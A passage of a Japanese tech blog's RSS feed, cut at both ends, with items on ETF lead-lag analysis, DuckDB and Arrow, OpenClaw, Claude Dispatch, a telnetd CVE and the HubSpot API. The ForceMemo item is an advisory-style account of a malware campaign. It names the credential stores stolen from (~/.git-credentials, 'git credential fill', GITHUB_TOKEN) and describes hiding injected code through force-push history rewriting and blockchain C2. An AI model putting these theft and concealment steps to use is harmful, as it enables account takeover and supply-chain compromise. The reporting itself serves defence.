&lt;li&gt;&lt;strong&gt;日本側&lt;/strong&gt;: 業種 ETF の &lt;strong&gt;翌営業日 Open-to-Close リターン&lt;/strong&gt;（寄付→引け）を予測対象とする&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;米国市場の終値で確定した情報が、翌朝の日本市場の寄付きから日中にかけて反映される — この「リード・ラグ仮説」を ETF の日次リターンデータで検証する構成です。&lt;/p&gt;
&lt;h3 id="データの入手方法"&gt;データの入手方法&lt;/h3&gt;
&lt;p&gt;業種別 ETF の価格データは誰でも無料で入手できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;米国の業種 ETF（SPDR Select Sector シリーズ）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;XLK（テクノロジー）、XLF（金融）、XLE（エネルギー）など 11 セクターの ETF が上場しています。Yahoo Finance や Google Finance で日次データを取得可能です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;日本の業種 ETF（TOPIX-17 業種別シリーズ）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;NEXT FUNDS TOPIX-17 シリーズ（野村アセットマネジメント）など、17 業種に対応する ETF があります。JPX（日本取引所グループ）や Yahoo!ファイナンスで取得できます。&lt;/p&gt;</description></item><item><title>DuckDB・Apache Arrow・Parquetの関係を整理する：列指向エコシステムの全体像</title><link>https://hdknr.github.io/blogs/posts/2026/03/duckdbapache-arrowparquet%E3%81%AE%E9%96%A2%E4%BF%82%E3%82%92%E6%95%B4%E7%90%86%E3%81%99%E3%82%8B%E5%88%97%E6%8C%87%E5%90%91%E3%82%A8%E3%82%B3%E3%82%B7%E3%82%B9%E3%83%86%E3%83%A0%E3%81%AE%E5%85%A8%E4%BD%93%E5%83%8F/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/duckdbapache-arrowparquet%E3%81%AE%E9%96%A2%E4%BF%82%E3%82%92%E6%95%B4%E7%90%86%E3%81%99%E3%82%8B%E5%88%97%E6%8C%87%E5%90%91%E3%82%A8%E3%82%B3%E3%82%B7%E3%82%B9%E3%83%86%E3%83%A0%E3%81%AE%E5%85%A8%E4%BD%93%E5%83%8F/</guid><description>&lt;p&gt;DuckDB は「SQLite の分析版」とも呼ばれるインプロセス OLAP データベースです。Apache Arrow、Apache Parquet と同じ列指向の思想を持ちますが、三者の役割はそれぞれ異なります。この記事では DuckDB のアーキテクチャ、Arrow・Parquet との関係、そして従来の行指向 DB との違いを整理します。&lt;/p&gt;
&lt;h2 id="parquetarrowduckdb-の位置付け"&gt;Parquet・Arrow・DuckDB の位置付け&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Parquet&lt;/th&gt;
&lt;th&gt;Arrow&lt;/th&gt;
&lt;th&gt;DuckDB&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;何か&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ディスク上の列指向ファイル形式&lt;/td&gt;
&lt;td&gt;インメモリ列指向データフォーマット（仕様+ライブラリ）&lt;/td&gt;
&lt;td&gt;SQL データベースエンジン&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;レイヤー&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ストレージ（ディスク）&lt;/td&gt;
&lt;td&gt;データ交換（メモリ）&lt;/td&gt;
&lt;td&gt;クエリ実行（エンジン）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;目的&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;効率的な永続化・圧縮&lt;/td&gt;
&lt;td&gt;アプリケーション間のゼロコピーデータ交換&lt;/td&gt;
&lt;td&gt;SQL クエリの実行・最適化&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;三者は列指向エコシステムの異なるレイヤーを担っており、補完関係にあります。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[ディスク] Parquet ファイル（列指向・圧縮済み）
↓ 読み込み（必要な列だけ）
[メモリ] Arrow フォーマット（列指向・ゼロコピー）
↓ クエリ実行
[エンジン] DuckDB（ベクトル化 SQL 実行）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Parquet は「データの保存形式」、Arrow は「メモリ上のデータの並べ方の規格」、DuckDB は「SQL を実行するエンジン」です。三者とも列指向という共通思想を持つため、組み合わせるとデータ変換のオーバーヘッドがほぼ発生しません。&lt;/p&gt;
&lt;h2 id="duckdb-の高速性を支える3つの柱"&gt;DuckDB の高速性を支える3つの柱&lt;/h2&gt;
&lt;h3 id="1-列指向ストレージ"&gt;1. 列指向ストレージ&lt;/h3&gt;
&lt;p&gt;行単位ではなく列単位でデータを格納します。分析クエリ（&lt;code&gt;SUM&lt;/code&gt;, &lt;code&gt;AVG&lt;/code&gt;, &lt;code&gt;GROUP BY&lt;/code&gt; など）で必要な列だけを読み込むため、I/O が効率的です。&lt;/p&gt;
&lt;h3 id="2-ベクトル化実行エンジン"&gt;2. ベクトル化実行エンジン&lt;/h3&gt;
&lt;p&gt;1行ずつではなく、列のチャンク（ベクトル）単位で処理します。これにより CPU キャッシュのヒット率が上がり、SIMD 命令も活用できます。&lt;/p&gt;
&lt;h3 id="3-自動並列化"&gt;3. 自動並列化&lt;/h3&gt;
&lt;p&gt;マルチコアを自動的に活用し、クエリを並列実行します。ユーザー側で並列化の設定を意識する必要はありません。&lt;/p&gt;</description></item><item><title>ForceMemo: GitHub アカウントを乗っ取り Python リポジトリにバックドアを仕込む新型攻撃</title><link>https://hdknr.github.io/blogs/posts/2026/03/forcememo-github-%E3%82%A2%E3%82%AB%E3%82%A6%E3%83%B3%E3%83%88%E3%82%92%E4%B9%97%E3%81%A3%E5%8F%96%E3%82%8A-python-%E3%83%AA%E3%83%9D%E3%82%B8%E3%83%88%E3%83%AA%E3%81%AB%E3%83%90%E3%83%83%E3%82%AF%E3%83%89%E3%82%A2%E3%82%92%E4%BB%95%E8%BE%BC%E3%82%80%E6%96%B0%E5%9E%8B%E6%94%BB%E6%92%83/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/forcememo-github-%E3%82%A2%E3%82%AB%E3%82%A6%E3%83%B3%E3%83%88%E3%82%92%E4%B9%97%E3%81%A3%E5%8F%96%E3%82%8A-python-%E3%83%AA%E3%83%9D%E3%82%B8%E3%83%88%E3%83%AA%E3%81%AB%E3%83%90%E3%83%83%E3%82%AF%E3%83%89%E3%82%A2%E3%82%92%E4%BB%95%E8%BE%BC%E3%82%80%E6%96%B0%E5%9E%8B%E6%94%BB%E6%92%83/</guid><description>&lt;p&gt;2026年3月上旬から、GitHub アカウントを侵害して Python リポジトリに悪意あるコードを注入する「ForceMemo」と呼ばれる大規模攻撃キャンペーンが確認されています。force-push によるコミット履歴の書き換えと、Solana ブロックチェーンを利用した C2（Command and Control: 攻撃者がマルウェアに指令を送る仕組み）通信という巧妙な手法が特徴です。&lt;/p&gt;
&lt;h2 id="攻撃の概要"&gt;攻撃の概要&lt;/h2&gt;
&lt;p&gt;ForceMemo は、以下の流れで Python プロジェクトを侵害します:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;GitHub アカウントの侵害&lt;/strong&gt; — GlassWorm と呼ばれる情報窃取マルウェアが VS Code / Cursor 拡張機能から GitHub トークンを抽出&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コードの改ざん&lt;/strong&gt; — 侵害したアカウントで &lt;code&gt;setup.py&lt;/code&gt;、&lt;code&gt;main.py&lt;/code&gt;、&lt;code&gt;app.py&lt;/code&gt;、&lt;code&gt;manage.py&lt;/code&gt; 等に難読化されたマルウェアを注入&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;痕跡の隠蔽&lt;/strong&gt; — force-push でコミット履歴を書き換え、タイムスタンプを維持することで改ざんを検知困難に&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;C2 通信&lt;/strong&gt; — Solana ブロックチェーンのメモ機能を使ったコマンド＆コントロール通信&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="glassworm-による初期侵入"&gt;GlassWorm による初期侵入&lt;/h2&gt;
&lt;p&gt;攻撃の起点となる GlassWorm は情報窃取型マルウェアで、VS Code および Cursor の拡張機能を経由して感染します。窃取対象となる GitHub トークンの格納先は多岐にわたります:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;VS Code / Cursor 拡張機能のストレージ&lt;/li&gt;
&lt;li&gt;&lt;code&gt;git credential fill&lt;/code&gt; の出力&lt;/li&gt;
&lt;li&gt;&lt;code&gt;~/.git-credentials&lt;/code&gt; ファイル&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GITHUB_TOKEN&lt;/code&gt; 環境変数&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;窃取されたトークンを使って正規のアカウントとしてリポジトリにアクセスし、コードを改ざんします。&lt;/p&gt;
&lt;h2 id="force-push-による履歴改ざん"&gt;force-push による履歴改ざん&lt;/h2&gt;
&lt;p&gt;通常のコミットであれば &lt;code&gt;git log&lt;/code&gt; で変更履歴を追跡できますが、ForceMemo は force-push を使ってコミット履歴自体を書き換えます。さらにタイムスタンプも維持するため、リポジトリのメンテナーやユーザーが改ざんに気づきにくい構造になっています。&lt;/p&gt;</description></item><item><title>OpenClaw 入門: チャットボットを超える AI エージェントランタイムの全体像</title><link>https://hdknr.github.io/blogs/posts/2026/03/openclaw-%E5%85%A5%E9%96%80-%E3%83%81%E3%83%A3%E3%83%83%E3%83%88%E3%83%9C%E3%83%83%E3%83%88%E3%82%92%E8%B6%85%E3%81%88%E3%82%8B-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%A9%E3%83%B3%E3%82%BF%E3%82%A4%E3%83%A0%E3%81%AE%E5%85%A8%E4%BD%93%E5%83%8F/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/openclaw-%E5%85%A5%E9%96%80-%E3%83%81%E3%83%A3%E3%83%83%E3%83%88%E3%83%9C%E3%83%83%E3%83%88%E3%82%92%E8%B6%85%E3%81%88%E3%82%8B-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%83%A9%E3%83%B3%E3%82%BF%E3%82%A4%E3%83%A0%E3%81%AE%E5%85%A8%E4%BD%93%E5%83%8F/</guid><description>&lt;p&gt;OpenClaw は 2026年に最も注目されている AI エージェントフレームワークです。GitHub スター数は 32 万超で React を抜いてソフトウェアプロジェクトとして最多を記録し、Nvidia が「エージェント AI にとって、GPT がチャットボットにとってそうであったもの」と評するほどの存在感を持っています。本記事では、OpenClaw とは何か、何ができるのか、そしてどこが単なるチャットボットと異なるのかを解説します。&lt;/p&gt;
&lt;h2 id="openclaw-の沿革"&gt;OpenClaw の沿革&lt;/h2&gt;
&lt;p&gt;OpenClaw の歴史は、名前の変遷そのものです:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Clawdbot&lt;/strong&gt;（2025年11月）: オーストリアの開発者 Peter Steinberger が公開。Anthropic のチャットボット Claude にちなんだ命名&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Moltbot&lt;/strong&gt;（2026年1月27日）: Anthropic からの商標に関する指摘を受けてリブランド。ロブスターの「脱皮（molt）」にちなむ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OpenClaw&lt;/strong&gt;（2026年1月30日）: わずか 3 日後に再リブランド。「Open（オープンソース・コミュニティ駆動）」+「Claw（ロブスターの遺産）」&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;3 度の名前変更を経ても、コードベースは一貫して同じです。既存のインストールは自動的にマイグレーションされています。&lt;/p&gt;
&lt;p&gt;名前は変わっても、プロジェクト全体を貫くモチーフは一貫して &lt;strong&gt;ロブスター（lobster）&lt;/strong&gt; です。最初のアシスタント名「Clawd」が Claude のもじりで、そこからロブスターのハサミ（claw）に繋がり、プロジェクト全体のアイデンティティになりました。タグラインは「The lobster way 🦞」、マスコットは宇宙ロブスターの「Molty」です。エコシステム内の各コンポーネントもこのテーマに沿って命名されています:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;コンポーネント&lt;/th&gt;
&lt;th&gt;名前の由来&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OpenClaw&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Open + Claw（ハサミ）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Molty&lt;/strong&gt;（マスコット）&lt;/td&gt;
&lt;td&gt;Molt（脱皮）するロブスター&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ClawHub&lt;/strong&gt;（スキルレジストリ）&lt;/td&gt;
&lt;td&gt;Claw + Hub&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Lobster&lt;/strong&gt;（ワークフローシェル）&lt;/td&gt;
&lt;td&gt;そのままロブスター&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;なお、Steinberger は 2026年2月14日に OpenAI への参加を発表し、プロジェクトはオープンソース財団に移管されました。Meta の Mark Zuckerberg からも直接オファーがあったものの、「ビジョンをスケールさせるために最新の技術にアクセスしたい」として OpenAI を選んだとのことです。&lt;/p&gt;
&lt;h2 id="openclaw-とは何か"&gt;OpenClaw とは何か&lt;/h2&gt;
&lt;p&gt;公式の説明は「自分のデバイスで動かすパーソナル AI アシスタント」ですが、その実態は &lt;strong&gt;AI を中核に据えたプログラム可能なワークフローエンジン&lt;/strong&gt; です。&lt;/p&gt;</description></item><item><title>6ヶ月でAIエンジニアになるロードマップ — 無料リソースだけで学ぶ完全ガイド</title><link>https://hdknr.github.io/blogs/posts/2026/03/6%E3%83%B6%E6%9C%88%E3%81%A7ai%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%81%AB%E3%81%AA%E3%82%8B%E3%83%AD%E3%83%BC%E3%83%89%E3%83%9E%E3%83%83%E3%83%97-%E7%84%A1%E6%96%99%E3%83%AA%E3%82%BD%E3%83%BC%E3%82%B9%E3%81%A0%E3%81%91%E3%81%A7%E5%AD%A6%E3%81%B6%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/6%E3%83%B6%E6%9C%88%E3%81%A7ai%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%81%AB%E3%81%AA%E3%82%8B%E3%83%AD%E3%83%BC%E3%83%89%E3%83%9E%E3%83%83%E3%83%97-%E7%84%A1%E6%96%99%E3%83%AA%E3%82%BD%E3%83%BC%E3%82%B9%E3%81%A0%E3%81%91%E3%81%A7%E5%AD%A6%E3%81%B6%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89/</guid><description>Python基礎から機械学習、ディープラーニング、LLM/RAG開発、MLOpsまで。6ヶ月でAIエンジニアになるための学習ロードマップを、MIT・Stanford・Harvardの無料コースで構成。</description></item><item><title>agent-skill-bus: AIエージェントのスキル劣化を自動検知・修復するOSSランタイム</title><link>https://hdknr.github.io/blogs/posts/2026/03/agent-skill-bus-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E3%82%B9%E3%82%AD%E3%83%AB%E5%8A%A3%E5%8C%96%E3%82%92%E8%87%AA%E5%8B%95%E6%A4%9C%E7%9F%A5%E4%BF%AE%E5%BE%A9%E3%81%99%E3%82%8Boss%E3%83%A9%E3%83%B3%E3%82%BF%E3%82%A4%E3%83%A0/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/agent-skill-bus-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E3%82%B9%E3%82%AD%E3%83%AB%E5%8A%A3%E5%8C%96%E3%82%92%E8%87%AA%E5%8B%95%E6%A4%9C%E7%9F%A5%E4%BF%AE%E5%BE%A9%E3%81%99%E3%82%8Boss%E3%83%A9%E3%83%B3%E3%82%BF%E3%82%A4%E3%83%A0/</guid><description>42体のAIエージェント運用から生まれたOSS agent-skill-bus の紹介。スキルの劣化検知、DAGベースのタスクキュー、自己改善ループの3モジュール構成で、エージェントスキルの健全性を自動管理する。</description></item><item><title>AIツールを作っている人たちが怖がっていること — 米Sequoia「Services: The New Software」の要点</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%83%84%E3%83%BC%E3%83%AB%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%A6%E3%81%84%E3%82%8B%E4%BA%BA%E3%81%9F%E3%81%A1%E3%81%8C%E6%80%96%E3%81%8C%E3%81%A3%E3%81%A6%E3%81%84%E3%82%8B%E3%81%93%E3%81%A8-%E7%B1%B3sequoiaservices-the-new-software%E3%81%AE%E8%A6%81%E7%82%B9/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%83%84%E3%83%BC%E3%83%AB%E3%82%92%E4%BD%9C%E3%81%A3%E3%81%A6%E3%81%84%E3%82%8B%E4%BA%BA%E3%81%9F%E3%81%A1%E3%81%8C%E6%80%96%E3%81%8C%E3%81%A3%E3%81%A6%E3%81%84%E3%82%8B%E3%81%93%E3%81%A8-%E7%B1%B3sequoiaservices-the-new-software%E3%81%AE%E8%A6%81%E7%82%B9/</guid><description>Sequoia Capital「Services: The New Software」を日本語で解説。AIビジネスは「ツール販売」から「業務代行」へ転換する。保険、会計、医療事務など日本で有望な9つの市場を分析。</description></item><item><title>AIのスケーリングだけではAGIに届かない — 必要なのは新しいアーキテクチャ</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%81%AE%E3%82%B9%E3%82%B1%E3%83%BC%E3%83%AA%E3%83%B3%E3%82%B0%E3%81%A0%E3%81%91%E3%81%A7%E3%81%AFagi%E3%81%AB%E5%B1%8A%E3%81%8B%E3%81%AA%E3%81%84-%E5%BF%85%E8%A6%81%E3%81%AA%E3%81%AE%E3%81%AF%E6%96%B0%E3%81%97%E3%81%84%E3%82%A2%E3%83%BC%E3%82%AD%E3%83%86%E3%82%AF%E3%83%81%E3%83%A3/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%81%AE%E3%82%B9%E3%82%B1%E3%83%BC%E3%83%AA%E3%83%B3%E3%82%B0%E3%81%A0%E3%81%91%E3%81%A7%E3%81%AFagi%E3%81%AB%E5%B1%8A%E3%81%8B%E3%81%AA%E3%81%84-%E5%BF%85%E8%A6%81%E3%81%AA%E3%81%AE%E3%81%AF%E6%96%B0%E3%81%97%E3%81%84%E3%82%A2%E3%83%BC%E3%82%AD%E3%83%86%E3%82%AF%E3%83%81%E3%83%A3/</guid><description>コロンビア大学 Vishal Misra 教授が指摘するAIスケーリングの限界。AGI実現には継続学習による破滅的忘却の克服と、相関から因果推論への移行が必要だと論じる。</description></item><item><title>Anthropic Dispatch：スマホからPCのClaudeに仕事を投げる新機能</title><link>https://hdknr.github.io/blogs/posts/2026/03/anthropic-dispatch%E3%82%B9%E3%83%9E%E3%83%9B%E3%81%8B%E3%82%89pc%E3%81%AEclaude%E3%81%AB%E4%BB%95%E4%BA%8B%E3%82%92%E6%8A%95%E3%81%92%E3%82%8B%E6%96%B0%E6%A9%9F%E8%83%BD/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/anthropic-dispatch%E3%82%B9%E3%83%9E%E3%83%9B%E3%81%8B%E3%82%89pc%E3%81%AEclaude%E3%81%AB%E4%BB%95%E4%BA%8B%E3%82%92%E6%8A%95%E3%81%92%E3%82%8B%E6%96%B0%E6%A9%9F%E8%83%BD/</guid><description>Anthropic が Claude Cowork の新機能 Dispatch を発表。スマホから PC 上の Claude にタスクを遠隔指示できる。料金プラン・成功率・OpenClaw との比較を解説。</description></item><item><title>Claude Cowork DispatchとOpenClawで見えてきた「Mind Uploading」への道筋</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-cowork-dispatch%E3%81%A8openclaw%E3%81%A7%E8%A6%8B%E3%81%88%E3%81%A6%E3%81%8D%E3%81%9Fmind-uploading%E3%81%B8%E3%81%AE%E9%81%93%E7%AD%8B/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-cowork-dispatch%E3%81%A8openclaw%E3%81%A7%E8%A6%8B%E3%81%88%E3%81%A6%E3%81%8D%E3%81%9Fmind-uploading%E3%81%B8%E3%81%AE%E9%81%93%E7%AD%8B/</guid><description>&lt;p&gt;紺野大地氏（@_daichikonno）が、Claude Cowork Dispatch に OpenClaw で育てた AI エージェント人格を移植する試みについて投稿し、「これは Mind Uploading そのものだ」と述べたことが話題になっています。AI エージェントのプラットフォーム間移植が、意識のアップロードという哲学的テーマとどう繋がるのかを考察します。&lt;/p&gt;
&lt;h2 id="claude-cowork-dispatch-とは"&gt;Claude Cowork Dispatch とは&lt;/h2&gt;
&lt;p&gt;2026年3月17日に Anthropic がリリースした Claude Cowork の新機能「Dispatch」は、スマートフォンから デスクトップの Claude エージェントを遠隔操作できる仕組みです。&lt;/p&gt;
&lt;p&gt;主な特徴:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;モバイルからの遠隔指示&lt;/strong&gt;: Claude モバイルアプリから、デスクトップ上の Claude に作業を依頼できる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;永続的な会話スレッド&lt;/strong&gt;: モバイルとデスクトップ間で単一の会話スレッドを共有&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ローカル実行&lt;/strong&gt;: ファイルはローカルに保持され、コードはサンドボックス内で実行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コネクタ・プラグイン連携&lt;/strong&gt;: メール、Slack、Notion、Google Drive などと接続可能&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;現在は Max プラン（月額 $100〜$200）で利用可能で、Pro プラン（月額 $20）への展開も予定されています。&lt;/p&gt;
&lt;h2 id="openclaw-とは"&gt;OpenClaw とは&lt;/h2&gt;
&lt;p&gt;OpenClaw は 2026年に急速に広まったオープンソースの AI エージェントフレームワークです。公式の説明では「自分のデバイスで動かすパーソナル AI アシスタント」とされていますが、その実態は &lt;strong&gt;プログラム可能なワークフローエンジンで、中核に AI がある&lt;/strong&gt; というものです。&lt;/p&gt;
&lt;p&gt;Nvidia が「OpenClaw はエージェント AI にとって、GPT がチャットボットにとってそうであったものだ」と評しています。では、チャットボットにイベントハンドラを定義して Claude Code を呼び出すだけでは「OpenClaw 的」とは言えないのでしょうか？ 答えを理解するには、OpenClaw のアーキテクチャを見る必要があります。&lt;/p&gt;</description></item><item><title>CVE-2026-32746: GNU Inetutils telnetd に32年間潜んでいた認証前リモートコード実行の脆弱性</title><link>https://hdknr.github.io/blogs/posts/2026/03/cve-2026-32746-gnu-inetutils-telnetd-%E3%81%AB32%E5%B9%B4%E9%96%93%E6%BD%9C%E3%82%93%E3%81%A7%E3%81%84%E3%81%9F%E8%AA%8D%E8%A8%BC%E5%89%8D%E3%83%AA%E3%83%A2%E3%83%BC%E3%83%88%E3%82%B3%E3%83%BC%E3%83%89%E5%AE%9F%E8%A1%8C%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/cve-2026-32746-gnu-inetutils-telnetd-%E3%81%AB32%E5%B9%B4%E9%96%93%E6%BD%9C%E3%82%93%E3%81%A7%E3%81%84%E3%81%9F%E8%AA%8D%E8%A8%BC%E5%89%8D%E3%83%AA%E3%83%A2%E3%83%BC%E3%83%88%E3%82%B3%E3%83%BC%E3%83%89%E5%AE%9F%E8%A1%8C%E3%81%AE%E8%84%86%E5%BC%B1%E6%80%A7/</guid><description>GNU Inetutils telnetd の認証前リモートコード実行脆弱性 CVE-2026-32746（CVSS 9.8）の技術的詳細、攻撃手法、パッチ状況、対策を解説。</description></item><item><title>HubSpot Line Items API：取引・見積もりに紐づく商品項目を管理する</title><link>https://hdknr.github.io/blogs/posts/2026/03/hubspot-line-items-api%E5%8F%96%E5%BC%95%E8%A6%8B%E7%A9%8D%E3%82%82%E3%82%8A%E3%81%AB%E7%B4%90%E3%81%A5%E3%81%8F%E5%95%86%E5%93%81%E9%A0%85%E7%9B%AE%E3%82%92%E7%AE%A1%E7%90%86%E3%81%99%E3%82%8B/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/hubspot-line-items-api%E5%8F%96%E5%BC%95%E8%A6%8B%E7%A9%8D%E3%82%82%E3%82%8A%E3%81%AB%E7%B4%90%E3%81%A5%E3%81%8F%E5%95%86%E5%93%81%E9%A0%85%E7%9B%AE%E3%82%92%E7%AE%A1%E7%90%86%E3%81%99%E3%82%8B/</guid><description>&lt;p&gt;HubSpot CRM の Line Items（商品項目）API について整理します。Line Items は製品（Product）が取引（Deal）や見積もり（Quote）に紐付けられたときに生成される個別のインスタンスです。&lt;/p&gt;
&lt;h2 id="line-items-とは"&gt;Line Items とは&lt;/h2&gt;
&lt;p&gt;HubSpot における Line Items は、製品カタログ（Products）とは異なる概念です。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Product&lt;/strong&gt;: 製品カタログ上のマスターデータ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Line Item&lt;/strong&gt;: Product が取引・見積もりなどに追加された際の個別インスタンス&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Line Items への変更は元の Product には影響しません。取引ごとに価格や数量をカスタマイズできます。&lt;/p&gt;
&lt;h2 id="api-エンドポイント"&gt;API エンドポイント&lt;/h2&gt;
&lt;p&gt;ベース URL: &lt;code&gt;/crm/v3/objects/line_items&lt;/code&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;操作&lt;/th&gt;
&lt;th&gt;メソッド&lt;/th&gt;
&lt;th&gt;エンドポイント&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;作成&lt;/td&gt;
&lt;td&gt;POST&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/crm/v3/objects/line_items&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;個別取得&lt;/td&gt;
&lt;td&gt;GET&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/crm/v3/objects/line_items/{lineItemId}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;一覧取得&lt;/td&gt;
&lt;td&gt;GET&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/crm/v3/objects/line_items&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;更新&lt;/td&gt;
&lt;td&gt;PATCH&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/crm/v3/objects/line_items/{lineItemId}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;削除&lt;/td&gt;
&lt;td&gt;DELETE&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/crm/v3/objects/line_items/{lineItemId}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="必要なスコープ"&gt;必要なスコープ&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;スコープ&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;crm.objects.line_items.read&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;データ取得&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;crm.objects.line_items.write&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;作成・更新&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tax_rates.read&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;税率情報の取得&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="データモデル詳細"&gt;データモデル詳細&lt;/h2&gt;
&lt;p&gt;Line Item の全プロパティは &lt;code&gt;GET /crm/v3/properties/line_item&lt;/code&gt; で取得できます。以下はカテゴリ別の主要プロパティです。&lt;/p&gt;
&lt;h3 id="基本情報"&gt;基本情報&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
